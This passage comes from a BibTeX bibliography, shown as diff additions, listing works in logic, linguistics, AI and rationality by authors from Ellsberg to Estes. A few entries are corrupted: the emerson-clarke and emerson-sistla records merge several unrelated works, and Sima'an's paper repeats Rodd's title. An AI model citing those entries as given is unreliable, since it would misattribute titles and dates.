Maritxalar and Arantza D\'iaz de Ilarraza and + Maite Oronez, "From Psychologic Modeling of + Interlanguage in Second Language Acquisition to a + Computational Model" + 8. Laura Mayfield Tomokiyo and Klaus Ries, "What Makes a + Word: Learning Base Units in {J}apanese for Speech + Recognition" + 9. Ramin Charles Nakisa and Kim Plunkett, "Evolution of a + Rapidly Learned Representation for Speech" + 10. Miles Osborne and Ted Briscoe, "Learning Stochastic + Categorial Grammars" + 11. David M.W. Powers, "Learning and Application of + Differential Grammars" + 12. Jennifer Rodd, "Recurrent Neural-Network Learning of + Phonological Regularities in {T}urkish" + 13. Khalil Sima'an, "Recurrent Neural-Network Learning of + Phonological Regularities in {T}urkish" + 14. Christoph Tilman and Hermann Ney, "Explanation-Based + Learning of Data-Oriented Parsing" + 15. Werner Winiwarter and Yahiko Kambayashi, "A Comparative + Study of the Application of Different Learning + Techniques to Natural Language Interface" + 16. Jakub Zavrel and Walter Daelemans and Jorn Veenstra, + "Resolving PP Attachment Ambiguities with + Memory-Based Learning" + }, + topic = {machine-language-learning;word-acquisition;} + } + +@incollection{ ellsberg:1988a, + author = {Daniel Ellsberg}, + title = {Risk, Ambiguity, and the {S}avage Axioms}, + booktitle = {Decision, Probability, Utility: Selected Readings}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Peter G\"ardenfors and Nils-Eric Sahlin}, + pages = {245--269}, + address = {Cambridge, England}, + topic = {decision-theory;} + } + +@inproceedings{ elmi:1998a, + author = {Mohammad Ali Elmi and Martha Evens}, + title = {Spelling Correction using Context}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {360--364}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {spelling-correction;context;} +} + +@book{ elster:1985a, + author = {Jon Elster}, + title = {Ulysses and the Sirens: Studies in Rationality and + Irrationality}, + publisher = {Cambridge University Press}, + year = {1985}, + address = {Cambridge, England}, + topic = {rationality;} + } + +@book{ elster:1985b, + author = {Jon Elster}, + title = {Sour Grapes}, + publisher = {Cambridge University Press}, + year = {1985}, + series = {Studies in Rationality and Social Change}, + address = {Cambridge, England}, + topic = {rationality;} + } + +@book{ elster:1987a, + author = {Jon Elster}, + title = {The Multiple Self}, + publisher = {Cambridge University Press}, + year = {1987}, + series = {Studies in Rationality and Social Change}, + address = {Cambridge, England}, + topic = {rationality;} + } + +@book{ elster:1989a, + author = {Jon Elster}, + title = {Solomonic Judgements: Studies in the Limitation of + Rationality}, + publisher = {Cambridge University Press}, + year = {1989}, + address = {Cambridge, England}, + topic = {rationality;} + } + +@book{ elster-hylland:1989a, + author = {Jon Elster and Aanund Hylland}, + title = {The Foundations of Social Choice Theory}, + publisher = {Cambridge University Press}, + year = {1989}, + series = {Studies in Rationality and Social Change}, + address = {Cambridge, England}, + topic = {rationality;social-choice-theory;} + } + +@book{ elster-roemer:1993a, + editor = {Jon Elster and John E. Roemer}, + title = {Interpersonal Comparisons of Well-Being}, + publisher = {Cambridge University Press}, + year = {1993}, + series = {Studies in Rationality and Social Change}, + address = {Cambridge, England}, + topic = {rationality;} + } + +@book{ elster:1999a, + author = {Jon Elster}, + title = {Alchemies of the Mind: Rationality and the Emotions}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052164487-9 (Pbk)}, + xref = {Review: solomon:2001a.}, + topic = {emotion;rationality;} + } + +@book{ elster:1999b, + author = {Jon Elster}, + title = {Strong Feelings: Emotion, Addiction, and Human Behavior}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-05056-0}, + xref = {Review: charland:2001a.}, + topic = {emotion;addiction;} + } + +@book{ elster-skog:1999a, + editor = {Jon Elster and Ole-J{\o}rgen Skog}, + title = {Getting Hooked}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052164008-3}, + topic = {rationality;addiction;} + } + +@book{ elster:2000a, + author = {Jon Elster}, + title = {Strong Feelings: Emotion, Addiction and Human Behavior}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-55036-9}, + xref = {Review: charland:2001a.}, + topic = {emotion;addiction;} + } + +@book{ elster:2000b, + author = {Jon Elster}, + title = {Ulysses Unbound}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {052166561-2 (pbk)}, + topic = {rationality;limited-rationality;} + } + +@article{ elworthy:1995a, + author = {David A.H. Elworthy}, + title = {A Theory of Semantic Information}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {3}, + pages = {297--332}, + contentnote = {Develops a theory of shared information that is different + from that of dynamic logic and DRT. There is also a theory of + context. Read this.}, + topic = {nl-semantics;anaphora;context;plural;donkey-anaphora; + pragmatics;} + } + +@article{ embleton:1991a, + author = {Sheila Embleton}, + title = {Names and Their Substitutes: Onomastic Observations on + Ast\'erix and Its Translations}, + journal = {Target}, + year = {1991}, + volume = {3}, + number = {2}, + pages = {175--206}, + topic = {humor;} + } + +@inproceedings{ emele-dorna:1998a, + author = {Martin C. Emele and Michael Dorna}, + title = {Ambiguity Preserving Machine Translation using Packed + Representations}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {365--371}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {machine-translation;ambiguity;} +} + +@article{ emerson-clarke:1982a, + author = {{E. Allen} Emerson and E.M. Clarke}, + title = {Using Branching Time Temporal Logic to Synthesize Temporal + Skeletons}, + journal = {Science of Computer Programming}, + year = {1982}, + volume = {2}, + number = {3}, + pages = {241--266}, + missinginfo = {Is this reference correct?}, + title = {\,`Sometimes' and `Not Ever' Revisited: On Branching vs. + Linear Time}, + institution = {{IBM} Research Laboratory}, + number = {RJ 4197}, + year = {1984}, + address = {San Jose, California}, + title = {Decision Procedures and Expressiveness in the Temporal + Logic of Branching Time}, + journal = {Journal of Computer and System Sciences}, + year = {1985}, + volume = {30}, + number = {1}, + pages = {1--24}, + title = {\,`Sometimes' and `Not Never' Revisited: On Branching + Versus Linear Time Temporal Logic}, + journal = {Journal of the {ACM}}, + year = {1985}, + volume = {33}, + number = {1}, + pages = {151--178}, + title = {Branching Time Temporal Logic}, + booktitle = {Linear Time. Branching Time and Partial Order in + Logics and Models for Concurrency}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {J.W. de Bakker and W.P. de Roever and G. + Rozenburg}, + pages = {123--172}, + address = {Berlin}, + missinginfo = {A's, E's 1st name.}, + topic = {temporal-logic;modal-logic;branching-time;tmix-project; + concurrency;} + } + +@incollection{ emerson:1990a, + author = {{E. Allen} Emerson}, + title = {Temporal and Modal Logic}, + booktitle = {Handbook of Theoretical Computer Science. Volume B}, + publisher = {North-Holland}, + year = {1990}, + editor = {Jan {van Leeuwen}}, + address = {Amsterdam}, + pages = {995--1072}, + topic = {temporal-logic;modal-logic;tmix-project;} + } + +@inproceedings{ emerson-sistla:1994a, + author = {{E. Allen} Emerson and A.P. Sistla}, + title = {Deciding Branching Time Logic}, + booktitle = {Sixteenth Annual {ACM} Symposium on Theory of + Computing}, + year = {1984}, + pages = {14--24}, + organization = {ACM}, + missinginfo = {publisher, address}, + title = {Narrative Comprehension: A Discourse Perspective}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + ISBN = {0-19-823868-1 (hardback), 0-19-923649-2 (paperback)}, + topic = {narrative-understanding;discourse-analysis + fictional-characters;narrative-genre;} + } + +@incollection{ emms:1997a, + author = {Martin Emms}, + title = {Models for Polymorphic {L}ambek Calculus}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {168--187}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;Lambek-calculus;} + } + +@article{ emonds_b:2000a, + author = {Bruce Emonds}, + title = {The Constructability of Artificial Intelligence (As + Defined by the {T}uring Test}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {419--424}, + topic = {foundations-of-AI;} + } + +@incollection{ emonds_j:1972a, + author = {Joseph Emonds}, + title = {A Reformulation of Certain Syntactic Transformations}, + booktitle = {Goals of Linguistic Theory}, + publisher = {Prentice-Hall, Inc.}, + year = {1972}, + editor = {Stanley Peters}, + pages = {21--61}, + address = {Englewood Cliffs, New Jersey}, + topic = {transformational-grammar;} + } + +@book{ emonds_j:1976a, + author = {Joseph Emonds}, + title = {A Transformational Approach to {E}nglish Syntax}, + publisher = {Academic Press}, + year = {1978}, + address = {New York}, + topic = {transformational-grammar;} + } + +@book{ empiricus:1998a, + author = {Sextus Empiricus}, + title = {Against the Grammarians}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + note = {Translated by D.L. BLank. Introduction and commentary.}, + xref = {Review: sakezles:2001a.}, + topic = {Hellenistic-philosophy;skepticism;philosophy-of-linguistics;} + } + +@article{ enc:1986a, + author = {M\"urvet En\c{c}}, + title = {Towards a Referential Analysis of Temporal Expressions}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {4}, + pages = {405--426}, + topic = {nl-semantics;nl-to-logic-mapping;nl-tense;} + } + +@incollection{ enc:1996a, + author = {M\"urvet En\c{c}}, + title = {Tense and Modality}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {345--358}, + topic = {nl-tense;nl-modality;} + } + +@article{ enderton:1995a, + author = {Herbert B. Enderton}, + title = {In Memorium, {A}lonzo {C}hurch, 1903--1995}, + journal = {The Bulletin of Symbolic Logic}, + year = {1995}, + volume = {1}, + number = {4}, + pages = {486--488}, + topic = {Church;} + } + +@article{ enderton:1998a, + author = {Herbert B. Enderton}, + title = {Alonzo {C}hurch and the Reviews}, + journal = {The Bulletin of Symbolic Logic}, + year = {1998}, + volume = {4}, + number = {2}, + pages = {172--180}, + topic = {Church;history-of-logic;} + } + +@phdthesis{ engdahl:1980a, + author = {Elizabet Engdahl}, + title = {The Syntax and Semantics of Questions in {S}wedish}, + school = {Linguistics Department, University of Massachusetts}, + year = {1980}, + type = {Ph.{D}. Dissertation}, + address = {Amherst, Massachusetts}, + topic = {interrgatives;nl-semantics;Swedish-language;} + } + +@article{ engdahl:1982a, + author = {Elizabet Engdahl}, + title = {A Note on the Use of Lambda Conversion in Generalized + Phrase Structure Grammars}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {4}, + number = {4}, + pages = {505--515}, + topic = {GPSG;nl-semantics;} + } + +@article{ engdahl:1983a, + author = {Elizabet Engdahl}, + title = {Parasitic Gaps}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {1}, + pages = {5--34}, + topic = {parasitic-gaps;anaphora;ellipsis;} + } + +@book{ engdahl:1986a, + author = {Elizabet Engdahl}, + title = {Constituent Questions}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + address = {Dordrecht}, + topic = {interrogatives;nl-syntax;nl-semantics;} + } + +@incollection{ engdahl:1988a, + author = {Elizabet Engdahl}, + title = {Relational Interpretation}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {63--82}, + address = {Cambridge, England}, + topic = {situation-semantics;interrogatives;nl-quantifier-scope;} + } + +@incollection{ engdahl:1990a, + author = {Elizabet Engdahl}, + title = {Argument Roles and Anaphora}, + booktitle = {Situation Theory and Its Applications, Volume 1}, + publisher = {CSLI Publications}, + year = {1990}, + editor = {Robin Cooper and Kuniaki Mukai and John Perry}, + pages = {379--393}, + address = {Standford, California}, + note = {CSLI Lecture Notes, Number 22.}, + topic = {thematic-roles;anaphora;} + } + +@incollection{ engdahl-vallduvi:1994a, + author = {Elisabeth Engdahl and Enric Vallduv\'{\i}}, + title = {Information Packaging and Grammar Architecture: A + Constraint-Based Approach}, + year = {1994}, + editor = {Elisabeth Engdahl}, + booktitle = {Integrating information structure into + constraint-based and categorial approaches}, + pages = {39--79}, + publisher = {ILLC}, + address = {Amsterdam}, + note = {DYANA-2 Report R.1.3.B}, + topic = {situation-semantics;information-packaging;} + } + +@article{ engdahl:2000a, + author = {Elizabet Engdahl}, + title = {Editorial: Is {JoLLI} a Journal for Linguists?}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {2}, + pages = {141--142}, + topic = {logic-and-linguistics;} + } + +@incollection{ engel:1984a, + author = {Pascal Engel}, + title = {Functionalism, Belief, and Content}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {51--63}, + address = {Chichester}, + topic = {belief;propositional-attitudes;philosophy-of-mind;} + } + +@incollection{ engelberg:1979a, + author = {Klaus-J\"urgen Engelberg}, + title = {A New Approach to Formal Syntax}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {226--265}, + topic = {nl-syntax;} + } + +@incollection{ engelfriet-treur:1994a, + author = {Joeri Engelfriet and Jan Treur}, + title = {Temporal Theories of Reasoning}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {279--299}, + address = {Berlin}, + topic = {temporal-reasoning;} + } + +@incollection{ engelfriet-etal:1996a, + author = {Joeri Engelfriet and V. Wiktor Marek and Jan Treur and + Miroslaw Truszczynski}, + title = {Infinitary Default Logic for + Specification of Nonmonotonic Reasoning}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {224--236}, + address = {Berlin}, + topic = {default-logic;infinitary-logic;} + } + +@article{ engelfriet-treur:1998a, + author = {Joeri Engelfriet and Jan Treur}, + title = {An Interpretation of Default Logic in Minimal Temporal + Epistemic Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {3}, + pages = {369--388}, + topic = {modal-logic;default-logic;temporal-logic;epistemic-logic;} + } + +@inproceedings{ engelfriet-venema:1998a, + author = {Joeri Engelfriet and Yde Venema}, + title = {A Modal Logic of Information Change}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {125--131}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;communication-models;} + } + +@article{ engelfriet-etal:2002a, + author = {Joel Engelfriet and Catholijn Jonker and Jan Treur}, + title = {Compositional Verification of Multi-Agent in Temporal + Multi-Epistemic Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {10}, + number = {1}, + pages = {195--225}, + topic = {multiagent-systems;epistemic-logic;temporal-logic;} + } + +@article{ engelfriet-treur:2002a, + author = {Joeri Engelfriet and Jan Treur}, + title = {Linear, Branching Time and Joint Closure Semantics + for Temporal Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {4}, + pages = {389--425}, + topic = {temporal-logic;branching-time;tmix-project;} + } + +@inproceedings{ engelhardt-etal:1998a, + author = {Kai Engelhardt and Ron {von Meyden} and Yoram Moses}, + title = {Knowledge and the Logic of Distributed Propositions}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {29--41}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;propositional-quantification; + epistemic-logic;} + } + +@inproceedings{ engelson-dagan:1996a, + author = {Sean Engelson and Ido Dagan}, + title = {Minimizing Manual Annotation Cost in Supervised Training + from Corpora}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {319--326}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {corpus-linguistics;} + } + +@article{ engesser-gabbay:2002a, + author = {Kurt Engesser and Dov M. Gabbay}, + title = {Quantum Logic, {H}ilbert Space, Revision Theory}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {136}, + number = {1}, + pages = {61--100}, + topic = {quantum-logic;nonmonotonic-logic;belief-revision;} + } + +@book{ englefield:1990a, + author = {Ronald Englefield}, + title = {Critique of Pure Verbiage: Essays on Abuses of Language in + Literary, Religious and Philosophical Writings}, + publisher = {Open Court}, + note = {Edited by G.A. Wells and D.R. Oppenheimer.}, + year = {1990}, + address = {Peru, Illinois}, + ISBN = {0-8126-9107-5}, + topic = {meaningfuless-in-style;philosophy-essays;} + } + +@book{ enis-broome:1971a, + author = {Ben M. Enis and Charles L. Broome}, + title = {Marketing decisions: a {B}ayesian approach}, + publisher = {Intext Educational Publishers}, + year = {1971}, + address = {Scranton}, + topic = {decision-analysis;} + } + +@incollection{ ennals-briggs:1984a, + author = {Richard Ennals and Jonathan Briggs}, + title = {Logic and Programming}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {133--144}, + address = {Chichester}, + topic = {logic=programming;problem-solving;} + } + +@inproceedings{ ennis:1982a, + author = {S.P. Ennis}, + title = {Expert Systems, a User's Perspective to Some Current + Tools}, + booktitle = {Proceedings of the First National Conference on + Artificial Intelligence}, + year = {1982}, + pages = {319--321}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + missinginfo = {A's 1st name}, + topic = {expert-systems;} + } + +@incollection{ entwisle-powers:1998a, + author = {Jim Entwisle and David Powers}, + title = {The Present Use of Statistics in the Evaluation of {NLP} + Parsers}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {215--224}, + address = {Somerset, New Jersey}, + topic = {parsing-algorithms;nlp-evaluation;} + } + +@inproceedings{ ephrati-etal:1995a, + author = {Eithan Ephrati and Martha Pollack and Sigalit Ur}, + title = {Deriving Multi-Agent Coordination Through Filtering + Strategies}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {679--685}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {distributed-AI;filtering;} + } + +@article{ ephrati-rosenschein_j:1996a, + author = {Eithan Ephrati and Jeffrey S. Rosenschein}, + title = {Deriving Consensus in Multiagent Systems}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {21--74}, + topic = {distributed-AI;voting-procedures;welfare-economics;} + } + +@book{ epstein_rj:1987a, + author = {R.J. Epstein}, + title = {A History of Econometrics}, + publisher = {Elsevier Science Publishers}, + year = {1987}, + address = {Amsterdam}, + missinginfo = {A's 1st name.}, + topic = {history-of-economics;} + } + +@book{ epstein_rl-carnielli:1989a, + author = {Richard L Epstein and Walter A. Carnielli}, + title = {Computable Functions, Logic, and the Foundations of + Mathematics}, + publisher = {Wadsworth \& Cole Advanced Books and Software}, + year = {1989}, + address = {Pacific Grove}, + xref = {Review: dipriso:2002a.}, + topic = {computability;goedels-first-theorem;goedels-second-theorem;} + } + +@book{ epstein_rl-carnielli:2000a, + author = {Richard L Epstein and Walter A. Carnielli}, + title = {Computable Functions, Logic, and the Foundations of + Mathematics}, + edition = {2}, + publisher = {Wadsworth \& Cole Advanced Books and Software}, + year = {2000}, + address = {Pacific Grove}, + xref = {Review: dipriso:2002a.}, + topic = {computability;goedels-first-theorem;goedels-second-theorem;} + } + +@article{ epstein_sd:1998a, + author = {Samuel David Epstein}, + title = {Overt Scope Marking and Covert Verb-Second}, + journal = {Linguistic Inquiry}, + year = {1998}, + volume = {29}, + number = {1}, + pages = {181--227}, + topic = {nl-syntax;} + } + +@article{ epstein_sl:1998a, + author = {Susan L. Epstein}, + title = {Pragmatic Navigation: Reactivity, Heuristics, and Search}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {275--322}, + topic = {search;machine-learning;} + } + +@unpublished{ epstein_ss:1975a, + author = {Samuel S. Epstein}, + title = {A Study of {\em Even}}, + year = {1975}, + note = {Unpublished manuscript, University of California at + San Diego.}, + topic = {`even';} + } + +@phdthesis{ epstein_ss:1975b, + author = {Samuel S. Epstein}, + title = {Investigations in Pragmatic Theory}, + school = {Linguistics Department, University of San Diego}, + year = {1975}, + type = {Ph.{D}. Dissertation}, + address = {La Jolla, California}, + topic = {pragmatics;discourse;presupposition;negation;} + } + +@book{ ericsson-simon_ha:1984a, + author = {Anders K. Ericsson and Herbert A. Simon}, + title = {Protocol Analysis: Verbal Reports As Data}, + publisher = {The {MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + ISBN = {0262050293}, + topic = {cognitive-psychology;empirical-methods-in-cogsci; + protocol-analysis;} + } + +@article{ eriksson_h-etal:1995a, + author = {Henrik Eriksson and Yuval Shahar and Samson W. Tu and + Angel R. Puerta and Mark A. Musen}, + title = {Task Modeling With Reusable Problem-Solving Methods}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {79}, + number = {2}, + pages = {293--326}, + topic = {plan-reuse;} + } + +@book{ eriksson_lh-etal:1992a, + editor = {Lars-Henrik Eriksson and Lars Halln\"as and Peter + Schroeder-Heister}, + title = {Proceedings of the Second International Workshop on + Extensions of Logic Programming, {ELP}'91}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + ISBN = {354055498X}, + topic = {logic-programming;} + } + +@article{ erman-etal:1980a1, + author = {Lee Erman and Frederick Hayes-Roth and Victor Lesser and + D. Raj Reddy}, + title = {The Hearsay-{II} Speech-Understanding + System: Integrating Knowledge to Resolve + Uncertainty}, + journal = {Computing Surveys}, + year = {1980}, + volume = {12}, + number = {2}, + pages = {213--253}, + xref = {Republication: erman-etal:1980a2.}, + topic = {speech-recognition;} + } + +@incollection{ erman-etal:1980a2, + author = {Lee Erman and Frederick Hayes-Roth and Victor Lesser and + D. Raj Reddy}, + title = {The Hearsay-{II} Speech-Understanding + System: Integrating Knowledge to Resolve + Uncertainty}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {349-389}, + address = {Los Altos, California}, + xref = {Journal Publication: erman-etal:1980a1.}, + topic = {speech-recognition;} + } + +@book{ ermann-etal:1990a, + editor = {M. David Ermann and Mary B. Williams and Claudio Gutierrez}, + title = {Computers, Ethics, and Society}, + publisher = {Oxford University Press}, + year = {1990}, + address = {Oxford}, + ISBN = {019505850X (paper)}, + topic = {social-impact-of-computation;} + } + +@book{ ermann-etal:1997a, + editor = {M. David Ermann and Mary B. Williams and Michele S. Shauf}, + title = {Computers, Ethics, and Society}, + publisher = {Oxford University Press}, + edition = {2}, + year = {1997}, + address = {New York}, + ISBN = {019510756X (paper)}, + topic = {social-impact-of-computation;} + } + +@inproceedings{ erol-etal:1992a, + author = {K. Erol and D. Nau and V.S. Subramanian}, + title = {On the Complexity of Domain Independent Planning}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {381--386}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {A's 1st name}, + topic = {complexity-in-AI;planning;} + } + +@article{ erol-etal:1995a, + author = {Kutluhan Erol and Dana S. Nau and V.S. Subrahmanian}, + title = {Complexity, Decidability and Undecidability Results for + Domain-Independent Planning}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {75--88}, + topic = {planning;complexity-in-AI;} + } + +@article{ erteschikshir:1986a, + author = {Nomi Erteschik-Shir}, + title = {Wh-Questions and Focus}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {2}, + pages = {117--149}, + topic = {interrogatives;sentence-focus;} + } + +@incollection{ ervin-tripp:1976b, + author = {S. Ervin-Tripp}, + title = {Children's Verbal Turn-Taking}, + booktitle = {Developmental Pragmatics}, + publisher = {Academic Press}, + year = {1979}, + editor = {E. Ochs and B.B. Schieffelin}, + pages = {391--414}, + address = {New York}, + missinginfo = {A's 1st name, E's 1st name}, + topic = {sociolinguistics;conversation-analysis;turn-taking;} + } + +@incollection{ ervin-tripp:1981a, + author = {S. Ervin-Tripp}, + title = {How to Make and Understand a Request}, + booktitle = {Possibilities and Limitations of Pragmatics: Proceedings + of the Conference at Urbino, July 8--14, 1979}, + publisher = {John Benjamins Publishing Company}, + year = {1981}, + editor = {H. Parret and M. Sbis\`a and J. Verschueren}, + pages = {195--210}, + address = {Amsterdam}, + missinginfo = {A's 1st name}, + topic = {sociolinguistics;speech-acts;pragmatics;} + } + +@article{ ervintripp:1976a, + author = {S. Ervin-Tripp}, + title = {Is {S}ybil There? The Structure of American {E}nglish + Directives}, + journal = {Language in Society}, + year = {1976}, + volume = {5}, + pages = {25--66}, + missinginfo = {A's 1st name, number}, + topic = {imperatives;speech-acts;pragmatics;sociolinguistics;} + } + +@incollection{ erwin:1984a, + author = {Edward Erwin}, + title = {Establishing Causal Connections: Meta-Analysis and + Psychotherapy}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {421--436}, + address = {Minneapolis}, + topic = {causality;psychotherapy;} + } + +@article{ escaladaimaz-ghallab:1988a, + author = {Gonzalo Escalada-Imaz and Malik Ghallab}, + title = {A Practically Efficient and Almost Linear Unification + Algorithm}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {2}, + pages = {249--263}, + topic = {unification;} + } + +@inproceedings{ eschenbach:1995a, + author = {C. Eschenbach}, + title = {An Algebraic Approach to Granularity in Qualitative Space + and Time Representation}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {894--900}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + missinginfo = {A's 1st name}, + topic = {granularity;spatial-reasoning;temporal-reasoning;} + } + +@incollection{ escudero-etal:2000a, + author = {Gerard Escudero and LLu\'is M\`arquez and German Rigau}, + title = {A Comparison between Supervised Learning Algorithms + for Word Sense Disambiguation}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {31--36}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;disambiguation;} + } + +@inproceedings{ eshghi:1988a, + author = {Kave Eshghi}, + title = {Abductive Planning with Event Calculus}, + booktitle = {Logic Programming: Proceedings of the Fifth International + Conference and Symposium, Volume 1}, + year = {1988}, + editor = {Robert A. Kowalski and Kenneth A. Bowen}, + pages = {562--579}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + topic = {planning;abduction;} + } + +@inproceedings{ eshghi-kowalski:1989a, + author = {Kave Eshghi and Robert A. Kowalski}, + title = {Abduction Compared with Negation by Failure}, + booktitle = {Logic Programming: Proceedings of the Sixth International + Conference}, + year = {1989}, + pages = {234--254}, + publisher = {The {MIT} Press}, + address = {Cambridge, Massachusetts}, + missinginfo = {editor}, + topic = {negation-as-failure;abduction;} + } + +@inproceedings{ eshgli:1991a, + author = {Kave Eshgli}, + title = {Computing Stable Models by Using the {ATMS}}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy McKeown}, + pages = {272--277}, + organization = {American Association for Artificial Intelligence}, + publisher = {MIT Press}, + address = {Cambridge, Massachusetts}, + topic = {truth-maintenance;stable-models;} + } + +@incollection{ esposito-etal:2000a, + author = {F. Esposito and S. Ferelli and N. Fanizzi and G. + Semeraro}, + title = {Learning from Parsed Sentences with + {INTHELEX}}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {194--198}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-skimming; + information-extraction;knowledge-representation;} + } + +@book{ estes:1975a, + editor = {W.K. Estes}, + title = {Handbook of Learning and Cognitive Processes}, + publisher = {Lawrence Erlbaum Associates}, + year = {1975}, + 